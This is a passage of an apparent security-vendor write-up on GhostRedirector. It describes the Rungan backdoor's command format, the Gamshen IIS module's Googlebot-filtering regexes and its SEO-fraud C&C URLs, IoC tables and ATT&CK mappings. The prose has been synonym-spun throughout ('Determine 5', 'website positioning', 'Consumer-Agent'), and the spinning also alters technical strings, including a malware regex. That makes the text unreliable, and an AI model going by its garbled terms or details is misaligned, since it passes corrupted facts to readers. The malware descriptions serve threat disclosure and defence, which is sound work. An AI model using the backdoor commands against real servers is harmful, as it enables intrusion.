it.<\/td>\n<td width=\"151\">N\/A<\/td>\n<\/tr>\n<tr>\n<td width=\"104\"><span style=\"font-family: courier new, courier, monospace;\">addurl<\/span><\/td>\n<td width=\"189\"><span style=\"font-family: courier new, courier, monospace;\">url=<url_1>|<url_2\/><\/url_1><\/span><\/td>\n<td width=\"198\">Registers URLs the backdoor will hear on. Could be multiple separated with <span style=\"font-family: courier new, courier, monospace;\">|<\/span>. The URL can be added to the configuration file.<\/td>\n<td width=\"151\">If a URL fails to register, the response will probably be <span style=\"font-family: courier new, courier, monospace;\">Failed: <url\/><\/span>, in any other case <span style=\"font-family: courier new, courier, monospace;\">All Okay<\/span>.<\/td>\n<\/tr>\n<tr>\n<td width=\"104\"><span style=\"font-family: courier new, courier, monospace;\">cmd<\/span><\/td>\n<td width=\"189\"><span style=\"font-family: courier new, courier, monospace;\">cmdpath=<cmd_path>&amp;mingl=<command_to_execute\/><\/cmd_path><\/span><\/td>\n<td width=\"198\">Executes a command on the sufferer\u2019s server utilizing pipes and the <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-createprocessa\" target=\"_blank\" rel=\"noopener\">CreatePorcessA<\/a> API.<\/td>\n<td width=\"151\">Command output.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Determine 5 and Determine 6 present totally different examples of requests made to the malware throughout a dynamic evaluation utilizing the software <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.postman.com\/\" target=\"_blank\" rel=\"noopener\">postman<\/a> in a simulated setting.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 5. Executing commands on a testing server\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-5-executing-commands-on-a-testing-server.png\" alt=\"Figure 5 - Executing commands on a testing server\" width=\"\" height=\"\"\/><figcaption><em>Determine 5. Executing instructions on a testing server<\/em><\/figcaption><\/figure>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 6. Adding a user through the malware on a testing server\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-6-adding-a-user-through-the-malware-on-a-testing-server.png\" alt=\"Figure 6 - Adding a user through the malware on a testing server\" width=\"\" height=\"\"\/><figcaption><em>Determine 6. Including a consumer by way of the malware on a testing server<\/em><\/figcaption><\/figure>\n<h3>Gamshen, malicious IIS module<\/h3>\n<p>Developed as a C\/C++ DLL, Gamshen is a malicious native IIS module. The primary performance of this malware is to intercept requests made to the compromised server from the Googlebot search engine crawler and solely in that case modify the professional response of the server. The response is modified based mostly on knowledge requested dynamically from Gamshen\u2019s C&amp;C server. By doing this, GhostRedirector makes an attempt to control the Google search rating of a selected, third-party web site, through the use of manipulative, shady website positioning methods equivalent to creating synthetic backlinks from the professional, compromised web site to the goal web site. We beforehand documented a case of an IIS trojan utilizing comparable ways: see <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.welivesecurity.com\/2021\/08\/11\/iiserpent-malware-driven-seo-fraud-service\/\" target=\"_blank\" rel=\"noopener\">IISerpent: Malware-driven website positioning fraud as a service<\/a>.<\/p>\n<p>It is necessary to say {that a} common consumer who visits the affected web site wouldn\u2019t see any modifications and wouldn&#8217;t be affected by the malicious habits as a result of Gamshen doesn\u2019t set off any of its malicious exercise on requests from common guests.<\/p>\n<p>Determine 7 reveals how a malicious module taking part within the IIS website positioning fraud scheme modifies the professional response of a compromised server when a request is comprised of the Google Crawler, aka Googlebot.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 7. Overview of an SEO fraud scheme\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-7-overview-of-an-seo-fraud-scheme.png\" alt=\"Figure 7 - Overview of an SEO fraud scheme\" width=\"\" height=\"\"\/><figcaption><em>Determine 7. Overview of an website positioning fraud scheme<\/em><\/figcaption><\/figure>\n<p>So as to do that, the attackers have carried out their very own malicious code for the next IIS occasion handlers:<\/p>\n<ul>\n<li><span style=\"font-family: courier new, courier, monospace;\">OnBeginRequest<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">OnPreExecuteRequestHandler<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">OnPostExecuteRequestHandler<\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">OnSendResponse<\/span><\/li>\n<\/ul>\n<p>When the compromised server receives an HTTP request, the request goes by way of the IIS request processing pipeline, which triggers these handlers in numerous steps of the method \u2013 notably, the <span style=\"font-family: courier new, courier, monospace;\">OnSendResponse<\/span> handler is triggered simply earlier than the HTTP response is distributed out by the compromised server. Since Gamshen is put in as an IIS module, it routinely intercepts every incoming HTTP request at these steps, and performs three actions.<\/p>\n<p>First, it performs a collection of validations to filter solely HTTP requests of curiosity:<\/p>\n<ul>\n<li>The request should originate from a Google crawler: both the <span style=\"font-family: courier new, courier, monospace;\">Consumer-Agent<\/span> header comprises the string <span style=\"font-family: courier new, courier, monospace;\">Googlebot<\/span>, or the <span style=\"font-family: courier new, courier, monospace;\">Referer<\/span> comprises the string <span style=\"font-family: courier new, courier, monospace;\">google.com<\/span>.<\/li>\n<li>The HTTP methodology should not be <span style=\"font-family: courier new, courier, monospace;\">POST<\/span>.<\/li>\n<li>The requested useful resource isn&#8217;t a picture, stylesheet, or comparable static useful resource, i.e., it doesn\u2019t have any of the next extensions: <span style=\"font-family: courier new, courier, monospace;\">.jpg<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.resx<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.png<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.jpeg<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.bmp<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.gif<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.ico<\/span>, <span style=\"font-family: courier new, courier, monospace;\">.css<\/span>, or <span style=\"font-family: courier new, courier, monospace;\">.js<\/span>. That is more likely to keep away from breaking UI performance.<\/li>\n<li>The URL should comprise the string <span style=\"font-family: courier new, courier, monospace;\">android_<\/span> or match any of the next common expressions:\n<p style=\"margin-top: 1em;\"><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([0-9_]{6,20})(\/|.w+)?<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})\/([a-zA-Z0-9_]{6,20})(\/|.w+)?<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?(android|performs|articles|particulars|iosapp|topnews|joga)\/([0-9_]{6,20})(\/|.w+)?<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?(android|performs|articles|particulars|iosapp|topnews|joga)\/([a-zA-Z]{8,10})(\/|.w+)?<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?([a-zA-Z0-9]{6,8})\/([a-zA-Z0-9]{6,8})(\/|.phtml|.xhtml|.phtm|.shtml)<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?([a-zA-Z0-9_]{14})(\/|.html|.htm)<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?([a-zA-Z0-9]{6})\/([a-zA-Z0-9]{8})(\/|.html|.htm)<\/span><\/p>\n<p><span style=\"color: #00a0a0; font-size: 1.25em; vertical-align: middle;\">\u25cb<\/span> <span style=\"font-family: courier new, courier, monospace;\">[\/]?([a-z0-9]{6}).xhtml<\/span><\/p>\n<\/li>\n<\/ul>\n<p>Second, Gamshen modifies the response meant for the search engine crawler with knowledge obtained from its personal C&amp;C server, <span style=\"font-family: courier new, courier, monospace;\">brproxy.868id[.]com<\/span>. We now have noticed three URLs getting used for this objective:<\/p>\n<ul>\n<li><span style=\"font-family: courier new, courier, monospace;\">https:\/\/brproxy.868id[.]com\/index_base64.php?<original_url\/><\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">https:\/\/brproxy.868id[.]com\/tz_base64.php?<original_url\/><\/span><\/li>\n<li><span style=\"font-family: courier new, courier, monospace;\">https:\/\/brproxy.868id[.]com\/url\/index_base64.php<\/span><\/li>\n<\/ul>\n<p>In all instances, the next hardcoded <span style=\"font-family: courier new, courier, monospace;\">Consumer-Agent<\/span> string is used: <span style=\"font-family: courier new, courier, monospace;\">Mozilla\/5.0 (appropriate; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html<\/span>). A base64-encoded response is anticipated, which is then decoded and injected into the HTTP response meant for the search engine crawler.<\/p>\n<p>Lastly, on the final step of the request processing pipeline, simply earlier than the HTTP response is distributed out \u2013 the <span style=\"font-family: courier new, courier, monospace;\">OnSendResponse<\/span> occasion handler verifies the response for these crawler requests. If the response has the <span style=\"font-family: courier new, courier, monospace;\">404<\/span> HTTP standing code \u2013 i.e., Gamshen had not been capable of acquire the malicious knowledge from its C&amp;C server, then it as an alternative performs a redirect to a distinct C&amp;C server: <span style=\"font-family: courier new, courier, monospace;\">http:\/\/gobr.868id[.]com\/tz.php<\/span>.<\/p>\n<p>We weren\u2019t capable of acquire a response from <span style=\"font-family: courier new, courier, monospace;\">brproxy.868id[.]com<\/span> or <span style=\"font-family: courier new, courier, monospace;\">gobr.868id[.]com<\/span>, however consider the information helps <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/blog.hubspot.com\/marketing\/black-hat-seo\">shady website positioning methods<\/a> \u2013 equivalent to key phrase stuffing, inserting malicious backlinks \u2013 or, in case of the redirection, making the search engine affiliate the compromised web site with the goal, third-party web site, thus poisoning the search index.<\/p>\n<p>We had been, nonetheless, capable of pivot on these domains on VirusTotal and discover associated pictures \u2013 on this case, pictures promoting a playing utility for Portuguese talking customers. We consider this web site is the beneficiary of the website positioning fraud scheme, facilitated by this malicious IIS module \u2013 Gamshen in all probability makes an attempt to compromise as many web sites as attainable and misuse their fame to drive site visitors to this third-party web site.<\/p>\n<p>Determine 8 and Determine 9 present two pictures probably utilized by GhostRedirector in its website positioning fraud scheme.<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 8. A gambling website likely benefiting from the SEO fraud scheme (machine translation: Benefits and privileges for VIP members)\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-8-a-gambling-website-likely-benefiting-from-the-seo-fraud-scheme.png\" alt=\"Figure 8 - A gambling website likely benefiting from the SEO fraud scheme\" width=\"\" height=\"\"\/><figcaption><em>Determine 8. A playing web site doubtless benefiting from the website positioning fraud scheme (machine translation: Advantages and privileges for VIP members)<\/em><\/figcaption><\/figure>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 9. A gambling website likely benefiting from the SEO fraud scheme (machine translation: Large deposits and withdrawals without worries)\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/09-25\/gr\/figure-9-a-gambling-website-likely-benefiting-from-the-seo-fraud-scheme.png\" alt=\"Figure 9 - A gambling website likely benefiting from the SEO fraud scheme\" width=\"\" height=\"\"\/><figcaption><em>Determine 9. A playing web site doubtless benefiting from the website positioning fraud scheme (machine translation: Massive deposits and withdrawals with out worries)<\/em><\/figcaption><\/figure>\n<h2>Conclusion<\/h2>\n<p>On this blogpost, now we have introduced a beforehand unknown, China-aligned menace actor, GhostRedirector, and its toolkit for compromising and abusing Home windows servers. Along with enabling distant command execution on the compromised servers, GhostRedirector additionally deploys a malicious IIS module, Gamshen, designed to control Google search outcomes by way of shady website positioning ways. Gamshen abuses the credibility of the web sites hosted on the compromised server to advertise a third-party, playing web site \u2013 probably a paying consumer taking part in an website positioning fraud as-a-service scheme.<\/p>\n<p>GhostRedirector additionally demonstrates persistence and operational resilience by deploying a number of distant entry instruments on the compromised server, on prime of making rogue consumer accounts, all to take care of long-term entry to the compromised infrastructure.<\/p>\n<blockquote>\n<p><em>Mitigation suggestions will be present in our complete <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/i.blackhat.com\/USA21\/Wednesday-Handouts\/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf\" target=\"_blank\" rel=\"noopener\">white paper<\/a>. For any inquiries, or to make pattern submissions associated to the topic, contact us at <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.welivesecurity.com\/en\/eset-research\/ghostredirector-poisons-windows-servers-backdoors-side-potatoes\/mailto:threatintel@eset.com?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=autotagging&amp;utm_content=eset-research&amp;utm_term=en\">threatintel@eset.com<\/a>.<\/em><\/p>\n<\/blockquote>\n<h2>IoCs<\/h2>\n<p>A complete record of indicators of compromise (IoCs) and samples will be present in <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/github.com\/eset\/malware-ioc\/tree\/master\/GhostRedirector\" target=\"_blank\" rel=\"noopener\">our GitHub repository<\/a>.<\/p>\n<h3>Recordsdata<\/h3>\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"179\"><strong>SHA-1<\/strong><\/td>\n<td width=\"132\"><strong>Filename<\/strong><\/td>\n<td width=\"151\"><strong>Detection<\/strong><\/td>\n<td width=\"180\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">EE22BA5453ED577F8664<wbr\/>CA390EB311D067E47786<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">SitePut.exe<\/span><\/td>\n<td width=\"151\">MSIL\/Agent.FEZ<\/td>\n<td width=\"180\">Zunput, info collector and webshell installer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">677B3F9D780BE184528D<wbr\/>E5967936693584D9769A<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">EfsNetAutoUser.exe<\/span><\/td>\n<td width=\"151\">MSIL\/HackTool.Agent<wbr\/>.QJ<\/td>\n<td width=\"180\">A customized software utilizing the EfsPotato exploit to create a brand new consumer on the compromised server.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">5D4D7C96A9E302053BDF<wbr\/>AF2449F9A2AB3C806E63<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">NetAutoUser.exe<\/span><\/td>\n<td width=\"151\">MSIL\/AddUser.S<\/td>\n<td width=\"180\">A customized software utilizing the BadPotato exploit to create a brand new consumer on the compromised server.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">28140A5A29EBA098BC62<wbr\/>15DDAC8E56EACBB29B69<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">miniscreen.dll<\/span><\/td>\n<td width=\"151\">Win64\/Agent.ELA<\/td>\n<td width=\"180\">Rungan, a passive C++ backdoor.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">371818BDC20669DF3CA4<wbr\/>4BE758200872D583A3B8<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">auto.exe<\/span><\/td>\n<td width=\"151\">Generik.KJWBIPC<\/td>\n<td width=\"180\">A software to create a brand new consumer on the compromised server.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">9DD282184DDFA796204C<wbr\/>1D90A46CAA117F46C8E1<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">auto_sign.exe<\/span><\/td>\n<td width=\"151\">MSIL\/Agent.XQL<\/td>\n<td width=\"180\">A software to create a brand new consumer or deploy webshells on the compromised server.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">87F354EAA1A6ED5AE51C<wbr\/>4B1A1A801B6CF818DAFC<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">EfsNetAutoUser.exe<\/span><\/td>\n<td width=\"151\">MSIL\/HackTool.Agent<wbr\/>.QJ<\/td>\n<td width=\"180\">A customized software utilizing the EfsPotato exploit to create a brand new consumer on the compromised server.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">5A01981D3F31AF47614E<wbr\/>51E6C216BED70D921D60<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">DotNet4.5.exe<\/span><\/td>\n<td width=\"151\">MSIL\/AddUser.S<\/td>\n<td width=\"180\">Customized software utilizing BadPotato exploit to raise privileges of an present consumer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">6EBD7498FC3B744CED37<wbr\/>1C379BA537077DD97036<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">NetAUtoUser_sign<wbr\/>.exe<\/span><\/td>\n<td width=\"151\">MSIL\/AddUser.S<\/td>\n<td width=\"180\">Customized software utilizing BadPotato exploit to elevated privileges of an present consumer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">0EE926E29874324E52DE<wbr\/>816B74B12069529BB556<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">hyperlink.exe<\/span><\/td>\n<td width=\"151\">Win64\/RemoteAdmin.<wbr\/>GotoHTTP. <wbr\/>A probably<wbr\/> unsafe utility<\/td>\n<td width=\"180\">GoToHTTP software.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">373BD3CED51E19E88876<wbr\/>B80225ECA65A5C01413F<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">PHP\/Webshell.NWE<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">5CFFC4B3B96256A45FB4<wbr\/>5056AE0A9DC76329C25A<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.MP<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">B017CEE02D74C92B2C65<wbr\/>517101DC72AFA7D18F16<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">PHP\/Webshell.OHB<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">A8EE056799BFEB709C08<wbr\/>D0E41D9511CED5B1F19D<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.UV<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">C4681F768622BD613CBF<wbr\/>46B218CDA06F87559825<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.KU<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">E69E4E5822A81F68107B<wbr\/>933B7653C487D055C51B<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.UZ<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">A3A55E4C1373E8287E4E<wbr\/>4D5D3350AC665E1411A7<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.UY<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">E6E4634CE5AFDA0688E7<wbr\/>3A2C21A2ECDABD5E155D<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.UY<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">5DFC2D0858DD7E811CD1<wbr\/>9938B8C28468BE494CB6<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">ASP\/Webshell.UX<\/td>\n<td width=\"180\">Webshell.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">08AB5CC8618FA593D2DF<wbr\/>91900067DB464DC72B3E<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">ManagedEngine32<wbr\/>_v2.dll<\/span><\/td>\n<td width=\"151\">Win32\/BadIIS.AG<\/td>\n<td width=\"180\">Gamshen, a malicious IIS module.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">871A4DF66A8BAC3E640B<wbr\/>2D1C0AFC075BB3761954<\/span><\/td>\n<td width=\"132\"><span style=\"font-family: courier new, courier, monospace;\">ManagedEngine64<wbr\/>_v2.dll<\/span><\/td>\n<td width=\"151\">Win64\/BadIIS.CY<\/td>\n<td width=\"180\">Gamshen, a malicious IIS module.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\"><span style=\"font-family: courier new, courier, monospace;\">049C343A9DAAF3A93756<wbr\/>562ED73375082192F5A8<\/span><\/td>\n<td width=\"132\">N\/A<\/td>\n<td width=\"151\">MSIL\/Agent.FFZ<\/td>\n<td width=\"180\">Comdai, a malicious multipurpose DLL used to create a malicious consumer.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Community<\/h3>\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"151\"><strong>IP<\/strong><\/td>\n<td width=\"142\"><strong>Area<\/strong><\/td>\n<td width=\"113\"><strong>Internet hosting supplier<\/strong><\/td>\n<td width=\"85\"><strong>First seen<\/strong><\/td>\n<td width=\"151\"><strong>Particulars<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"151\">N\/A<\/td>\n<td width=\"142\"><span style=\"font-family: courier new, courier, monospace;\">xzs.868id[.]com<\/span><\/td>\n<td width=\"113\">N\/A<\/td>\n<td width=\"85\">2024\u201112\u201103<\/td>\n<td width=\"151\">GhostRedirector staging server, hosted on Cloudflare.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\"><span style=\"font-family: courier new, courier, monospace;\">104.233.192[.]1<\/span><\/td>\n<td width=\"142\"><span style=\"font-family: courier new, courier, monospace;\">xz.868id[.]com<\/span><\/td>\n<td width=\"113\">PEG TECH INC<\/td>\n<td width=\"85\">2024\u201112\u201103<\/td>\n<td width=\"151\">GhostRedirector staging server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\"><span style=\"font-family: courier new, courier, monospace;\">104.233.210[.]229<\/span><\/td>\n<td width=\"142\"><span style=\"font-family: courier new, courier, monospace;\">q.822th[.]com<\/span><br \/><span style=\"font-family: courier new, courier, monospace;\">www.881vn[.]com<\/span><\/td>\n<td width=\"113\">PEG TECH INC<\/td>\n<td width=\"85\">2023\u201110\u201106<\/td>\n<td width=\"151\">GhostRedirector staging server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">N\/A<\/td>\n<td width=\"142\"><span style=\"font-family: courier new, courier, monospace;\">gobr.868id[.]com<\/span><\/td>\n<td width=\"113\">N\/A<\/td>\n<td width=\"85\">2024\u201108\u201125<\/td>\n<td width=\"151\">Gamshen C&amp;C server, hosted on Cloudflare.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\">N\/A<\/td>\n<td width=\"142\"><span style=\"font-family: courier new, courier, monospace;\">brproxy.868id[.]com<\/span><\/td>\n<td width=\"113\">N\/A<\/td>\n<td width=\"85\">2024\u201108\u201125<\/td>\n<td width=\"151\">Gamshen C&amp;C server, hosted on Cloudflare.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\"><span style=\"font-family: courier new, courier, monospace;\">43.228.126[.]4<\/span><\/td>\n<td width=\"142\"><span style=\"font-family: courier new, courier, monospace;\">www.cs01[.]store<\/span><\/td>\n<td width=\"113\">XIMBO Web Restricted<\/td>\n<td width=\"85\">2024\u201104\u201101<\/td>\n<td width=\"151\">Comdai C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"151\"><span style=\"font-family: courier new, courier, monospace;\">103.251.112[.]11<\/span><\/td>\n<td width=\"142\">N\/A<\/td>\n<td width=\"113\">IRT\u2011HK\u2011ANS<\/td>\n<td width=\"85\">N\/A<\/td>\n<td width=\"151\">GhostRedirector staging server.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>MITRE ATT&amp;CK methods<\/h2>\n<p>This desk was constructed utilizing <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/resources\/versions\/\">model 17<\/a> of the MITRE ATT&amp;CK framework.<\/p>\n<table style=\"height: 1370px;\" border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr style=\"height: 18px;\">\n<td style=\"height: 18px;\" width=\"113\"><strong>Tactic<\/strong><\/td>\n<td style=\"height: 18px;\" width=\"113\"><strong>ID<\/strong><\/td>\n<td style=\"height: 18px;\" width=\"151\"><strong>Title<\/strong><\/td>\n<td style=\"height: 18px;\" width=\"265\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr style=\"height: 72px;\">\n<td style=\"height: 396px;\" rowspan=\"8\" width=\"113\"><strong>Useful resource Growth<\/strong><\/td>\n<td style=\"height: 72px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1588\/002\" target=\"_blank\" rel=\"noopener\">T1588.002<\/a><\/td>\n<td style=\"height: 72px;\" width=\"151\">Receive Capabilities: Software<\/td>\n<td style=\"height: 72px;\" width=\"265\">GhostRedirector makes use of <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.eziriz.com\/dotnet_reactor.htm\" target=\"_blank\" rel=\"noopener\">.NET Reactor<\/a> to obfuscate its instruments, and used EfsPotato and BadPotato to develop customized privilege escalation instruments.<\/td>\n<\/tr>\n<tr style=\"height: 36px;\">\n<td style=\"height: 36px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1587\/001\" target=\"_blank\" rel=\"noopener\">T1587.001<\/a><\/td>\n<td style=\"height: 36px;\" width=\"151\">Develop Capabilities: Malware<\/td>\n<td style=\"height: 36px;\" width=\"265\">GhostRedirector develops its personal malware<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1608\/006\" target=\"_blank\" rel=\"noopener\">T1608.006<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Stage Capabilities: website positioning Poisoning<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector makes use of website positioning poisoning to control search outcomes and drive site visitors to a third-party web site.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1583\/001\" target=\"_blank\" rel=\"noopener\">T1583.001<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Purchase Infrastructure: Domains<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector makes use of malicious domains for internet hosting payloads and for its C&amp;C servers.<\/td>\n<\/tr>\n<tr style=\"height: 36px;\">\n<td style=\"height: 36px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1583\/004\" target=\"_blank\" rel=\"noopener\">T1583.004<\/a><\/td>\n<td style=\"height: 36px;\" width=\"151\">Purchase Infrastructure: Server<\/td>\n<td style=\"height: 36px;\" width=\"265\">GhostRedirector leverages Cloudflare on its infrastructure.<\/td>\n<\/tr>\n<tr style=\"height: 36px;\">\n<td style=\"height: 36px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1608\/001\" target=\"_blank\" rel=\"noopener\">T1608.001<\/a><\/td>\n<td style=\"height: 36px;\" width=\"151\">Stage Capabilities: Add Malware<\/td>\n<td style=\"height: 36px;\" width=\"265\">GhostRedirector has staged Rungan and Gamshen on attacker-controlled servers.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" 